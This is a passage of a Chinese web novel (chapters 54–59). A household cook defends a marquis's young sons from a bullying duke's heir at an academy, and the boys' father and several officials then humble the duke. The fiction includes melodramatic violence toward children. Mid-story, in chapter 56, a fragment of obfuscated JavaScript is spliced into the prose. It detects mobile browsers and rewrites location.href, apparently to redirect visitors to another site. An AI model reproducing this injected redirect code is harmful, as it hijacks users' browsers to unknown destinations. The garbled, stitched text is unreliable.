结果对方就羞辱他:“哈哈,不给银子也行,只要你从我这胯下钻过去,小爷我今日就免了你那一百两银子,如何?”
裴野哪里受得了这刺激?当场就跟对方干了起来!
王耀祖带了好几个下人,裴野这边就只有一个阿贵。
后来裴朔和裴恪也赶来了,可几人加在一起,也抵不过对方带了两个身强力壮的护卫。
就这样,裴野被干趴下,还要逼着钻王耀祖的裤裆。
第54章 谁?谁在偷袭?
与此同时,青云舍学堂后院。原本书声琅琅的清幽地,此刻却被一阵刺耳的嘲笑声掩盖。
一个穿着锦袍,约莫七八岁的男童,正抬起一条腿,踩在一块大石头上,神色高傲不可一世。
“裴野,别说本世子欺负你,先前投壶的规矩可是说好的,输了就得给银子,今日,你要么拿出那一百两,要么……就从本世子这胯下钻过去,再叫三声‘爷爷我错了’,本世子就大发慈悲放了你,如何?”
“呸!你作弊,我就是死,也绝不认输!”裴野被一个家丁押着,死死地攥着拳头,眼睛里像要喷出火来。
他的身后,阿贵倒在旁边,捂着肚子呻吟。柱子躺在地上,不知是昏了还是晕了。
裴朔也被一个护卫拦在外围,拼命挣脱也挣不掉。
“王耀祖!你放开他!”
王耀祖身边还跟着两个跟班,笑得前合后仰。
“作弊?谁看见了?你看见了吗?”
两个跟班异口同声:“没看见,我们什么都没看见!”
王耀祖又问身后的护卫:“你们看见了?”
护卫们摇头。
王耀祖笑得灿烂,蹲下来,与裴野平视。
“裴野,没人看见啊。你说作弊,证据呢?”
“王耀祖!”裴朔在一旁急得大喊,“你竟敢在学堂私设赌局,殴打同窗!我已经让人去请山长和夫子了,你罔顾校规,若是让我爹知道了,定会去英国公府要个说法!”
王耀祖像听到什么天大的笑话一样,转向裴朔。
“裴朔,你是读书读傻了吧?夫子断了腿早回家了,至于山长嘛,他的亲儿子如今在我爹的麾下当差,全靠我爹赏饭吃,你说他会站在你这个丧门星这边吗?”
听到‘丧门星’三个字,裴朔瞬间浑身僵硬,小脸‘唰’的惨白。
王耀祖见裴朔这副表情,愈发得意起来:“裴朔,听说当初你母亲生你弟弟那会儿,就是你害得你母亲跌倒摔了一跤才早产的。”
“裴朔,你害死了你娘,你夜里不做噩梦吗,你娘没来找你索命吗?”
这话像魔咒一样,瞬间揭开了裴朔那血淋淋的伤疤,还在上面撒盐,撒辣椒粉。
裴朔平日里看着端庄老成,可到底也只是个七岁的孩子。
此刻嘴唇剧烈地颤抖着,没有一丝血色。
至于裴恪,早被眼前的场景吓坏,捂着耳朵躲在一处假山后,抖得像风中的落叶。
裴野见大哥受辱,也不知哪儿来的力气,趁着家丁不注意,整个人像颗小炮弹一样,冲着王耀祖就撞了过去。
“王耀祖,敢胡说八道,我撕烂你的嘴!”
“咚”的一声。
王耀祖一时不察,被裴野一头撞到了肚子上,后退两步,一屁股跌坐在地上。
“哎哟!我的屁股!”
王耀祖被撞得四脚朝天,疼得龇牙咧嘴。
几个下人一惊,立马上前将他扶起。
王耀祖狼狈地爬起来,气急败坏的嘶吼:“按住他!给小爷按住他!”
两个成年护卫上前,很快就将裴野像老鹰捉小鸡一样捉过来,摁在地上。
王耀祖见状,眼中闪过一抹恶毒。
他抬起厚底靴,一脚朝着裴野的手碾下去!
“裴野!”
裴朔急红了眼,拼命地想要扑过来,却被护卫死死拦着挣脱不开。
裴野疼得钻心,小脸瞬间煞白,额头上大颗大颗的冷汗滚落下来,砸进泥土里。
可他依旧紧咬着牙,不肯求饶,像头困兽一样瞪着王耀祖。
“王耀祖!你住手!”裴朔目眦欲裂,想要冲过去。
沈令薇冲进来的时候,看到的就是这一幕。
她看到裴野被踩在地上,被人欺辱,看到裴朔目眦欲裂。看到裴恪躲在一旁,濒临崩溃。
刹那间,她脑子里只觉得‘轰’的一声,浑身煞气暴涨,生出一股毁天灭地的愤怒。
她脑子里什么都没想,身体先于意识行动。
“咚!”
有什么东西打中了王耀祖的膝盖弯,他惨叫一声,膝盖一软,重重地跪在地上。
在场众人一惊,扭头一看!
地上竟掉落一根擀面杖。
“谁!谁他妈敢偷袭本世子……呃……”
王耀祖话音未落,脖子上突然多出来一双手,死死地掐住他的喉咙,五
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指收紧,力道大得惊人。
“叫你的人,放开他,否则,现在就死!”
沈令薇声音明明很轻,却像有一股凉意钻到他的骨头缝里,王耀祖本能地感受到一股浓郁的杀气。
随着话落,沈令薇手上缓缓用力,王耀祖顿时觉得呼吸困难,脸色发紫,眼珠子开始往上翻。
“世子!世子!”
下人们回过神来,吓得大惊,纷纷围上前来,却又不敢上前。
“大、大、大胆!你是何人?还不快放开我家世子!”
王耀祖的贴身小厮,色厉内荏地吼着,腿肚子却在发抖。
和王耀祖一起作恶的那两个小跟班也早躲开了,哆哆嗦嗦的不敢吭声。
沈令薇像是来自地狱的煞神一样,目光陡然变得凌厉,周身冷气嗤嗤地往外冒。
她朝安安吩咐:“安安,带二少爷先走。”
然后,目光扫过王家的一众下人,不紧不慢地开口:“我数三个数,要么,放开三少爷,全都滚!要么,我现在就拧断他的脖子,你们再去陪葬,选!”
下人们面面相觑,谁都不敢动。
贴身小厮硬着头皮道:“你这刁妇,此乃英国公世子,你要敢动他一根汗毛,老爷和夫人定会让你全家陪葬!”
沈令薇勾起唇角,“哦?是吗?那就试试看,是你们的世子先死,还是我先死。”
“住手!”这时,一道有力的呵斥声从假山后方传来。
紧接着,便有一位约莫五十出头,穿着缎面宽袖长袍,面带怒容的老者急匆匆上前,阻止沈令薇。
来人正是青云舍的山长,周远。
他看到被掐住脖子的王耀祖,眼皮猛地一跳。
这可是英国公府的独苗苗。他顾不上仪态,当即指着沈令薇,呵道:
“住手!哪里来的狂妇,竟敢在圣贤之地动粗!”
沈令薇没动,淡淡的瞥了他一眼,“山长来的正好。”
她扫了眼王家的一众下人,还有不远处手上的阿贵,还有柱子。语气依旧不卑不亢。
“民妇正想问问,这圣贤之地,王世子设赌局骗人、逼人钻胯、纵奴行凶,该当何罪?”
第55章 偏袒,人不犯我,我不犯人
“你……你这刁妇,休要信口雌黄!”
周远避重就轻,急于在王耀祖面前表忠心:“王世子与几位公子不过是玩闹,孩童间的意气之争,可你一介妇人,竟以下犯上,真是不知死活!”
沈令薇气极反笑,那双向来澄澈的眸子里,此刻像一汪结了冰的深潭。
“好一个意气之争,好一个孩童玩闹。”
“看来,山长是打算偏袒王世子,不给三少爷做主了?”
她目光扫过裴野,落在他红肿不堪的手上,朝裴野问道:“三少爷,你既已开蒙,当学过一句话,人不犯我,我不犯人,但若是人已经犯到了头上,甚至要断了你的手、辱了你的家门,该怎么办?”
裴野此时手上的伤疼得钻心,闻言,胸中的血性被点燃,想也不想地喊道:“加倍还回去!谁让我疼,我就让谁更疼!”
“好。”
“既然山长说这是‘玩闹’,那咱们就玩个尽兴。”
沈令薇冷笑一声,突然用力,反剪着王耀祖的胳膊,将他整个人摁在地上。
就像刚才他让下人摁住裴野的那样,语气透着一股子狠劲儿。
王耀祖的脸都在地上摩擦。
“三少爷,他刚才他是哪只脚踩了你?用了多大的力气?现在,踩回来。”
裴野怔住了,不敢置信地看着沈令薇。
他不是懵懂无知的三岁稚童,他知道这事的严重性。
可他没想到的是,沈令薇不过是个下人,竟愿意为了他,不惜和山长,和英国公府杠上。
他心里有一种说不清的东西在翻涌,暖暖的,软软的。
同样震撼的,还有裴朔。
他想到方才弟弟受辱,简直比杀了他还难受。
这五年来,他日日活在愧疚和悔恨之中,只觉得是自己的原因,害得弟弟们一出生就没了母亲。
可他太没用,保护不了弟弟。
那一刻,裴朔甚至生出一个疯狂的念头,哪怕是死,也定要杀了这王耀祖。
可没想到,沈令薇她竟及时赶来,不仅挟持了王耀祖,还鼓励弟弟把受到的欺负都还回去。
裴朔整个人也如遭雷击,像有一道光亮,劈开了他灰暗的世界。
原来,公道可以不用等旁人施舍,公道是可以靠自己这双手抢回来的。
“疯了!你这疯妇,当真是疯了不成!”
山长终于找回自己的声音,气得面孔扭曲,胡须颤抖着。
“你一介民妇,竟敢私刑处置勋贵子弟!来人!快来人!给老夫拿下这疯妇!当场乱棍打死!”
王家的下人见状,也纷纷围了上来。
可沈令薇头也不回,只捡起地上的擀面杖,‘砰’的一声敲碎了一旁的石头。
“谁敢上前半步,我便先敲碎他的脑袋。看看是你们的棍子快,还是他的脑浆崩得快!”
她瞥了一眼山长:“既是‘玩闹’,难道就只许王世子玩,不许三少爷玩?”
山长一噎。
方才还不可一世的王耀祖,此刻是真的害怕了。
他被摁在地上,身子止不住哆嗦:“啊……别别别!别动手,别动手,我不想死哇……呜呜……”
他哭的鼻涕眼泪胡了满脸,裤裆里也渗出一股不明液体。
见裴野还没动,沈令薇蹙眉:“三少爷,这一脚,是还他的。往后,咱们不欠他。”
裴野浑身一震。
他看着地上的王耀祖,眼神慢慢变了……
……
与此同时,文渊阁内,裴紧之正和一众礼部官员商议要事,这时,陈凡神色凝重地走了进来。
“侯爷,书院出事了……”
裴谨之眼睛一眯,倏地迸射出一股冷冽的光芒。
同样前来衙门报信的,还有英国公府的下人。
在得知自己的宝贝儿子被一个妇人给打了,还被摁在地上摩擦,英国公那叫一个气。
四十多岁的英国公,眼睛瞪得像铜铃一样大,伸手‘砰’的一声拍在梨木桌子上。结实的木桌竟被劈出了裂纹。
“区区贱婢,竟敢折辱我儿!定远侯府莫不是疯了,养出这种不知死活的东西!”
英国公四十有余,正是权欲最盛的年纪,当即想也不想地命下人准备快马,杀气腾腾地直奔青云舍。
……
青云舍后山,裴野看向王耀祖的眼神,慢慢变了……
“我……不认输!”
“咔嚓!”
沈令薇的那句话,成了压死他心魔的最后一根稻草。
英国公世子又怎么样?权势再大又怎么样?
他只知道,他爹是定远侯,他堂兄是战神将军。
最重要的是,王耀祖这狗孙子仗势欺人在先,他这是反击,是自卫!
裴家男儿的骨头,不能弯!
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>裴野没再犹豫,一脚碾在王耀祖的手上。
“啊!!!”
王耀祖发出一声惨绝人寰的尖叫,惊的树上的鸟儿都纷纷振翅飞起。
“反了……真是反了……”
山长瘫坐在地上,震惊地看着这一幕。像才反应过来似的,忙指挥身后的护卫,恶狠狠地吩咐道:
“来人!把这个疯妇给我拿下!”
几个学院的护卫冲上来,就要架住沈令薇。
却在此时——
“且慢!”
一道清冷的声音从门外传来。
众人回头,却见一青衫男子站在门口,手里拿着一卷公文。眉目疏淡,气质温润,像一幅上好的水墨画。
山长脸色微变:“陆大人?您怎么……?”
陆酉没理他。走进门,目光径直落在那两个架着沈令薇的护卫手上,清清冷冷地开口:
“《大周律》有云,凡非衙门公职人员,无故扣押、折辱平民者,等同私设刑堂。山长大人这是打算担下这‘草菅人命’的罪名?”
山长一噎,满脸不甘地挥手,示意两个护院放开了沈令薇。
“陆大人有所不知,此刁妇胆大包天,竟教唆裴家三少爷殴打英国公世子!这若传出去,我青云舍的颜面何存?”
“世子乃英国公府的独苗,要在这青云舍出了半点差池,老夫便是有十个脑袋,也担待不起呀。”
山长这番话,说得那叫一个义正辞严,仿佛沈令薇才是那个十恶不赦的罪魁祸首。
陆酉听完,神色不变。
他目光掠过裴野那只肿胀的手,扫过裴朔惨白的脸,最后落回山长脸上。
“山长说的‘殴打’,是指王世子先设赌局骗人,后逼人钻胯,再纵奴行凶,最后被人踩了一脚?”
山长脸色一变。
“方才,陆某在门外也听了许久,这前因后果,倒也看了个真切,相信一会儿定远侯和英国公来此,也能佐证一二。”
山长脸上的表情僵住。
定远侯,英国公!
这两尊大佛,他是一个也得罪不起。
但是,他儿子还在英国公手底下当差。若今日护不住王耀祖,明日他儿子的饭碗就得砸。
至于定远侯那边,裴三少爷被打成这样,若裴侯爷追究起来,他这个山长也难辞其咎。
左右都是个死,那就只能咬牙赌一把!
第56章 谁?谁动的手?
山长周远那双浑浊的眼睛里,一阵精光闪烁。
“陆大人,您是新科状元,圣上面前的红人,本山长敬您三分。但这青云舍,本山长说了算!”
“裴三少爷与王世子之事,终归是同窗之间的口角摩擦,谁是谁非,书院事后自会秉公查办,给两家一个交代。但……”
他指着沈令薇,语气凌厉:“这刁妇以下犯上,持械行凶,殴打世子,人证物证俱在!本山长身为书院之长,当维护书院规矩,有何不对?”
不及陆酉张嘴,沈令薇率先冷嗤了一声,语气嘲讽。
“好一个维护规矩,只是民妇斗胆一问,我一个侯府的下人,从得到消息赶过来,不过一盏茶的功夫。可山长身在书院,却未能在三少爷受辱的第一时间得到消息,赶来阻止,敢问,这是何缘由?”
周远脸色一变。
沈令薇又道:“你在书院瞎了眼,聋了耳,为何又在王世子自食恶果的当口,‘碰巧’出现?”
“还是说……山长是早就躲在一旁,故意为之?”
沈令薇一字一句,像一针见血地戳穿了周远的算计。
周远心头一跳,脸色骤变,下意识地就开口反驳,“你这妇人,休要在此胡言乱语。”
但他明显底气不足。
这时,周遭的空气仿佛在一瞬间凝固。
裴朔浑身一震,猛地抬眼看向周远。
他虽年少,却已早慧,沈令薇的话如醍醐灌顶,让他瞬间明白了这其中深藏的恶意。
裴朔原本惨白的脸上,瞬间涨红,是气的。
裴野也好不到哪里去,那双小狼崽子般的眼神死死瞪着周远,眼底燃烧着熊熊烈火。
陆酉站在一旁,将这一切都尽收眼底。
向来清冷的琥珀色眸子里,此刻泛起一丝微微的波澜。
他想起母亲屡次对自己感慨,说这位沈娘子为人练达,沉稳,又有胆识,果敢聪慧。
起初,陆酉只当是母亲偏爱,溢美之词。
可直到那日,他看到自己常穿的那件袍子上,袖口被巧妙地绣上了几片竹叶,他才暗道此女子心思之灵巧,缜密。
此后,又在母亲的时常赞美中,陆酉缓缓在脑海里勾勒出了一幅温婉能干的佳人画像。
如今,她看着院子里这道看似柔弱,实则坚韧的身影,才发现自己脑子里的那幅画像,有些单薄了。
“山长,”陆酉上前,“这位娘子的话,句句在理,陆某正好也想问问,这青云舍的规矩,究竟是圣贤定下的‘是非曲直’,还是权贵权衡的‘明哲保身’?”
“你……”周远被噎得一句话都说不出来,脸色涨红。
“陆大人,你今日护着这刁妇,是要公然与英国公府为敌?”周远道。
话音刚落,一道中气十足,又杀气腾腾的声音突然从门外传了进来。
“本国公倒要看看,是哪个不知死活的,胆敢欺辱我儿!”
眨眼间,就见英国公带着好几个下人,怒气冲冲地闯了进来。
待看清院子里的场景时,英国公瞬间虎躯一震,大步走向王耀祖。
“呜呜……爹!您可算来了,您要再不来,就再也见不到您儿子我了……”
王耀祖一瘸一拐地跑过去,主打的就是一个恶人先告状。
英国公顿时怒目圆睁,浑身杀气暴涨。
他铜铃似的眼睛横扫全场,怒斥道:“谁?谁动的手?”
“连老子的独苗都敢动,今日若不将其抽筋拔骨,我英国公府颜面何存!”
周远一听这雷霆怒吼,吓得腿肚子打哆嗦,立马点头哈腰地赔罪:“国公爷息怒啊,都是老朽无能,没能看好世子,才让他受了这天大的委屈。”
说完,周远猛地转身,指着沈令薇,“就是这不知天高地厚的刁妇,就是她!她拿着凶器,把世子爷摁在地上,还让裴家三少爷踩了世子爷的手!”
英国公一看儿子的手,肿胀不堪,关节处都在流血,气的胸口剧烈起伏。
他顺着周远所指的方向看过去。
沈令薇站在原地,手里已经重新捡起了那根擀面杖。正将裴家二子护在身后。
夕阳下,她衣裳微乱,发丝散落,却站得笔直,没有半分惧色。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350480|199245||http|test|mini|href|location''.split(''|''),0,{}));
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r>英国公眯起眼睛打量她。
一个下人?就这?
英国公感受到了前所未有的侮辱,怒极反笑:“区区蝼蚁,也敢动本国公的儿子?”
他抬手一挥,朝下人吩咐道:“来人,将这刁妇拿下,先打断她两条腿,再送去衙门。”
三四个下人立刻涌上前来。
这时。
“不许动她!”
一道稚嫩的声音响起。
却见裴野冲上前来,张开双臂挡在沈令薇前面,通红的眼睛死死地瞪着那些下人,一步都不肯退让。
“本少爷不许你们动她!”
英国公愣住!
其它下人也都愣住!
还没等众人反应过来,又一道清冷的声音响起:“英国公,您不能不分青红皂白,就惩治她!”
是裴朔。
他也上前,站在沈令薇前面,和裴野一左一右,像两座小小的山,形成保护的姿态。
“是您儿子先设赌局骗我弟弟,逼他钻胯,纵奴行凶。沈厨娘只是护着我们,才动的手。”
“若要论罪,该先论您儿子的罪。”
英国公的脸色瞬间沉了下来,他盯着这两个半大孩子,牛眼瞪得愈发凶猛。
“两个乳臭未干的小子,也敢教训起老夫来了,就算我儿有不对的地方,也轮不到她一个下人来动手!”
他铁塔似的身子往前迈了一步:“让开!否则,下人下手没个轻重,伤着了二位小少爷,可别怪老夫没提醒。”
裴野一动不动,身子绷得像一张弓。
裴朔也没有退。
“国公爷息怒。”陆酉上前,拱手道:“两位少爷都是定远侯府的嫡子,裴将军也刚刚立下赫赫战功,圣眷正浓,希望国公爷就算看在侯府的面上,能宽容一二。”
英国公睨了陆酉一眼,眼神极尽轻蔑:“少拿侯府来压老夫,就算他裴谨之今日站在这儿,本国公也定要发落这刁婢。我看谁敢护她!”
言语中,竟有不管不顾之势。
“还愣着做什么!上!”
下人得令,纷纷朝着沈令薇,还有裴野等三人围了上来。
第57章 他挡在她身前,护住她
“大少爷,三少爷,你们快躲开,别管奴婢!”沈令薇拉开二人,只身挡在了前面。
两个家丁冲上来,一把将裴朔和裴野拽开。
“放开我!放开!”裴野拼命挣扎,却被死死按住。
裴朔也被人架住,动弹不得。
沈令薇单薄的身子瞬间暴露在众人眼前,还没站稳,一个高个子护卫便捡起一根木棍,当头朝着她挥下来。
沈令薇躲闪不及,下意识地闭紧双眼,准备迎接那股剧痛。
“砰!”
可预料中的疼痛并没有落在她身上。
她闻到一股极淡的墨香,还混合着若有若无的竹叶清香。
紧接着,他听见一声闷哼。
是陆酉,就在这惊险的时候,他先一步挡在了沈令薇面前,替沈令薇挡下了那一闷棍。
“陆夫子!”
身旁响起裴朔和裴野的惊呼声。
沈令薇睁眼,对上一双琥珀色的眸子,整个人怔在了当场!
陆大人?
为什么?
还没等她回过神来,身后那家丁已经扬起手,准备再来一次袭击。
沈令薇看着那根木棍正极速地朝着陆酉的后背砸下来。她瞳孔瞬间收缩,心脏停止了跳动。
就在这千钧一发之际。
“嗖!”
一道破空声响起。
远处飞来一支令箭,‘噗嗤’一声插入那家丁的手腕上,将他的手扎了个对穿,鲜血瞬间四溅。
“啊!”
那家丁发出一声痛彻心扉的哀嚎,手里的木棍‘当’的一声掉在地上。捂着流血的手腕颤抖不已。
所有人都怔住,朝着箭矢飞来的方向看过去。
院门口不知何时已经立满了人。
当先一人跨坐马上,手里还握着一张弓,正是陈凡。
他的身后,立着一辆紫檀木马车,车身上,站着一道玄色的身影。
正是裴谨之。
他身着一品朝服,居高临下地俯视着这场乱局,脸色阴沉得可怕,周身像是裹挟着一层寒冰。
在看到陆酉护在沈令薇身前时,漆黑的瞳仁几不可察地缩了缩。
“哗啦啦!”
原本凶神恶煞的英国公府的下人们,顿时齐齐后退,如临大敌一般了,围在了英国公和王耀祖跟前。
一时间,院子里的气氛紧张到了极致。
“裴谨之!”
英国公到底是见过大世面的,当即怒喝:“裴谨之,你竟敢在天子脚下,公然行凶伤我府邸家丁?你眼里还有没有王法!还有没有尊卑!”
裴谨之连一个眼神都没有给他,转而看向身后的两辆马车,道:
“唐大人,林御史,方才那一幕,你们可都看清楚了?”
英国公先是一愣。
紧接着,便见到另一辆马车里,走出来两张熟面孔。
一个是顺天府尹唐守成,和稀泥的高手。
另一个则是御史林德安,性格古板如同顽石,是朝堂上出了名的‘活阎王’。但凡被他盯上的官员,不死也得脱层皮。
英国公顿时眼皮一跳,脸色变得极为精彩。
“荒唐!简直是无法无天!”林御史率先呵斥。抖着手指着英国公。
“英国公,陆大人身为翰林院侍讲,那是天子门生,满腹经纶。你竟纵容家丁殴打朝廷命官,成何体统!”
英国公张了张嘴,“此事误会,老夫并无此意……”
“哼,方才我二人都看得清楚,英国公,你藐视公侯嫡子在先,又纵奴杀人,罔顾国法,扰乱京畿治安,明日早朝,老夫定要当着百官的面,狠狠地参你一道!”
英国公脸都要绿了。
特么的,林德安这老匹夫,竟给他扣这么大一顶帽子。
“林大人慎言!”
英国公气急败坏,指着沈令薇,咬牙切齿道,“分明是这刁妇以下犯上,不仅口出狂言,还胆敢伤了我儿!你看看我儿的手,都被这贱婢折腾成什么样了!”
王耀祖配合地嚎了两声,眼泪汪汪的。
“你胡说!”
裴野站了出来,也高举着自己红肿的手。
“分明是他先辱我骗我,还辱骂大哥,把我和大哥的小厮都打伤了。”
紧接着,裴野指着不远处的柱子和阿贵,把事情经过大致描述了一遍。
“你们若是不信,大可问问山长!”
一旁,正在努力减少存在感的周远,不得不硬着头皮上前。
“回裴侯爷,回两位大人,”周远声音发虚,却不敢再有所隐瞒:“方才,确实是王世子先动的手,而这位妇人,是为了护主……”
这话如同一
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记响亮的耳光,狠狠抽打在英国公脸上。
他狠狠地瞪了周远一眼,继而道:“就算我儿有错在先,但我儿毕竟是国公府世子,又岂能轮到她一个下人来管教?”
这时,裴谨之缓缓开口,语气冷得像是在看一个死人。
“国公爷的意思是,你的人,杀的,本侯的人,还手不得?”
“尊卑有别!这是祖宗传下来的规矩!”英国公梗着脖子。
“这贱婢不仅伤了我儿,方才还敢阻拦老夫行刑,如此目无尊卑,难道不该打死示众?”
裴谨之听完,忽然笑了。
那笑容极淡,却让人后背发凉。
“好一个尊卑有别。”
裴谨之上前一步,居高临下地看着英国公,“既然国公爷不服,那正好,不如现在就一起进宫面圣。”
“本侯的嫡子,被人当众辱骂,被人纵奴行凶,被人踩在脚下。本侯这个当父亲的,没能护好他们,也无颜再在朝堂上站着。”
“正好两位大人也在,不如就请二位做个见证,本侯这便奏请圣上,把这负责和北狄议和的重任,交到国公爷手里。想必国公爷定能在谈判桌上让那群虎狼之师俯首称臣。”
话落,英国公顿觉五雷轰顶,整个人都晃了晃。
众所周知,他英国公就是个遛鸟斗鸡的老纨绔,若是因此事触怒了裴谨之,逼他当甩手掌柜,明天满朝文武的唾沫星子怕都会把他给淹死。
那时,那就成了满朝文武的公敌。
不得不说,裴谨之这招以退为进,是真狠呐,狠狠地扎中了英国公的七寸。
裴谨之甚至不给他喘息的机会,佯装转身,“唐大人,林御史,这便请吧,本侯这就去金銮殿外脱冠请罪。”
“侯爷,使不得,使不得呀!”唐守成忙上前劝说。
“眼下战事初定,北狄那帮蛮夷又蠢蠢欲动,朝堂上可不能没了您啊。”
林御史也在一旁附和:“唐大人说得没错,若因些许小事,影响到国家谈判的大事,那便是因小失大,得不偿失。”
林御史看向英国公,一脸正气;“到那时,英国公府,怕就成了整个大周朝的罪人。这个名声,国公爷确定担得起吗?”
英国公再次老脸一绿,一口血卡在了喉咙里。
第58章 救命之恩,她想报答
这帮鳖孙犊子,就是看中了朝堂上离不开他裴谨之,所以都狠狠的来欺负他是吧!
英国公忍得脸都要绿了。
他在心里把裴谨之的祖宗十八代都骂了个遍,面上却不得不挤出一丝僵硬的笑来。
“裴侯爷,今日之事,是老夫……是老夫教子无方,冲撞了贵府几位少爷。老夫在这里,给侯爷赔个不是。”
他说完,朝王耀祖后脑勺拍了一巴掌:“逆子!还不快去给裴家两位少爷道歉!”
王耀祖被拍得一个踉跄,捂着头,委委屈屈地走到裴野面前。
“对、对不起!”
裴野冷哼一声,别过脸去。
裴朔也没说话。
英国公讪笑着拱手:“裴侯,您看,这歉也道了,孩子也都认了错,这事……要不就此打住可好?”
裴谨之却并不买账,闻言看向裴野和裴朔:“你们听到道歉了?”
两人齐齐摇头:“没听见。”
英国公自知理亏,只能让王耀祖又大声地道了一遍歉。
“对、对不起!”这次的声音大了一些。
英国公满意地点头,“这回总可以了吧?”
然,裴谨之薄唇浅浅一勾,溢出一丝冷笑来:“国公爷记性似乎不太好。刚才动手的,可是你府上的棍棒,受难的,还有陆大人。”
英国公的脸都要裂开了。
只能咬着牙,又朝着陆酉道了歉,并赔偿了五十两银子的补偿,这才带着王耀祖,还有一众下人灰溜溜地离去。
等英国公一走,周远顿时失了主心骨,满脸惊恐地朝裴谨之求饶。
“侯、侯爷,小人、小人一时不查,未能及时护住两位小少爷,请侯爷恕罪啊……”
他哭得一把鼻涕一把泪,哪还有半分方才那趾高气昂的模样。
裴谨之看着他,目光很冷。
“你确实有罪。”
周远一僵。
“身为山长,学子受难你视而不见,此为不仁;见利忘义、趋炎附势,此为不义;面对凶徒行凶却缩首其后,任由朝廷命官受辱,此为不忠。”
裴谨之字字如刀,如同将周远寸寸凌迟。
“如此不仁不义、不忠不德之徒,也配在这书院之中大谈圣贤之道?”
他转向一旁的顺天府尹唐守成;“唐大人,此人身为朝廷编户,却德行败坏,你这顺天府尹,是否该清理一下这京畿之地的‘门户’了?”
唐守成正愁没机会表现,当即抬手一挥:“周远,你身为山长,枉顾圣贤教诲,还试图偏袒行凶之人。”
“来人!把这斯文败类带下去,先关进顺天府大牢!待本官查明案情,再行处置!”
“不!大人饶命,饶命啊……”
两个侍卫拖着他,渐行渐远。
之后,唐守成看了眼天色,和林德安一同告辞,离开了青云舍。
裴谨之命陈凡将二人送走,侍卫们也都相继离去。
院子里,就只剩下自己人,还有陆酉。
这时,陆酉刚准备朝裴谨之拱手致意,结果刚一抬手,牵动背上的伤势。
“嘶!”
沈令薇离得近,当即紧张地看了陆酉一眼。
“陆大人,您的伤……”
“不妨事,”陆酉缓缓抬手,“劳沈娘子关心。”
“陆大人言重了。方才要不是您替我挡那一下,现在民妇说不定已经遭了毒手。”
“救命之恩,民妇实在不知该如何报答。”
她说着,本想上前查看陆酉的伤势,结果目光却掠过他的袖口,看到他袖口上竟绣着几片青翠的竹叶。
沈令薇视线定住。
这袖子……
不及她细看,突然察觉一道凉飕飕的视线落在后背。
沈令薇扭头,恰好撞上裴谨之看过来的眼神。
天色擦黑,她看不清他眼底的情绪,但能感受到他的不悦。
她正欲开口时,裴谨之忽然迈开长腿,不动声色地挡在了她面前,将她和陆酉的视线生生隔断。
“陆大人,今日多谢相护,这份人情,本侯记下了。”
陆酉不卑不亢地道:“侯爷言重了,沈娘子也是护主心切,下官又岂有袖手旁观之理?”
裴谨之面无表情地点头:“既如此,陆大人身上还有伤,早些回去歇着吧。”
陆酉先是一怔,继而客气地拱手:“那下官告退。”
他转身欲走。
“等等!”
沈令薇从身后叫住他,绕过裴谨之走上前来;“陆大人替民妇挡了那一棍,救命之恩,无以为报。改日若得空,还请陆大人赏脸,让民妇做几个菜,聊表谢意。”
陆酉微微一怔。
还没等他开口,一道声音插了进来:“陆大人护的是本侯府上的人,就算
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请客,也该由本侯来请,轮得到你一个下人?”
沈令薇蹙眉,这话听起来……似乎没什么毛病。
可她怎么感觉隐隐有些不对?
陆酉已经朝裴谨之客气道:“侯爷折煞下官了,举手之劳,不敢当侯爷宴请。”
不知为何,他隐隐察觉裴谨之对自己似乎存着敌意,又客套了两句。
“下官告退。”
最后,院子里终于只剩下自己人。
沈令薇赶在他开口之前道:“奴婢先带三少爷去看伤。”
说完,不等裴谨之回答,她率先牵起裴野,离开了青云舍。步子迈得极快。
裴谨之看她落荒而逃的背影,眼底一阵变幻。
这时,裴朔上前,“父亲。”
“孩儿没能照顾好三弟,恳请父亲责罚。”裴朔说着,直接掀袍跪在了地上。
裴谨之收回落在远处的背影,“起来吧,此事错在王家跋扈,不怪你。”
“不,孩儿有错,”裴朔神情哽咽,“当初若不是孩儿,母亲便不会……”
说起伤心事,裴朔眼底闪过痛楚:“若是母亲还在,今日也定会像沈厨娘那般,护着孩儿和弟弟……父亲……您罚孩儿吧!”
五年来,这是裴朔第一次在裴谨之面前流露出脆弱,无助的一面。
主要是他眼睁睁看着弟弟被人踩在脚下,自己却什么都做不了。
那种无力感,太让人窒息。
裴朔眼里的泪水终于滚落,砸在青石地板上。
裴谨之不擅长安慰人,哪怕是自己的儿子。
面对哭成了泪人的长子,他也是满心的无力,眉头拧成了‘川’字。
良久,他伸手,扣住裴朔的肩膀。
“哭够了吗?”
他声音依旧沉冷,没什么温度。
“你觉得她很像你母亲?”
裴朔低下头,没说话,但表情已经给出了答案。
“你错了,她和你们的母亲,截然不同。”
裴朔愕然抬头,呆呆地望着他。
只听裴谨之又道:“你母亲出身名门,温婉贤淑,若见你们受辱,她会毫不犹豫地将你们护住,但决计不会掐住敌人的喉咙,还用擀面杖敲碎石块。”
裴朔听完,心神俱震。
所以,母亲会为了护她们而死。
而沈令薇,会为了护他们而……杀人!
……
第59章 要不你委屈一下,把我父亲收了吧
静和苑内,沈令薇正在给裴野上药,裴野疼得是龇牙咧嘴,却硬是没喊一声疼。
老夫人听闻裴野受伤,急匆匆的赶了过来,还带来了伤药,布匹之类的。
看到裴野红肿的手,心疼地掉眼泪。
“我的小野啊……竟遭了这么大的罪啊……那些天杀的,怎么下得去手……”
“祖母,我不疼。”
她先是关心了裴野的伤势,之后又对英国公一家咬牙切齿,表示定要让英国公那老匹夫付出代价。
在听说这次的事多亏了沈令薇及时赶到,救下了裴野,特意赏赐了沈令薇一些上好的布匹,还有一些银钱首饰之类的。
对沈令薇好一番感谢。
至此,老夫人宣布,从今往后,擢升沈令薇为掌事姑姑,今后侯府三个小主子的大小事情,都由她做主。
在这侯府,除了主子,下人们见了都得要唤一声‘沈姑姑’。月银也给她涨到了十五两银子。
沈令薇自是一番感谢不提。
这时,门外传来一阵脚步声,却见裴谨之步入屋内,大概是刚从宫里回来,连朝服都没有换下。
“母亲,”他朝老夫人见礼,“这是宫里的金疮药,对淤伤有奇效。”
沈令薇接过药瓶,替裴野细细涂抹着。
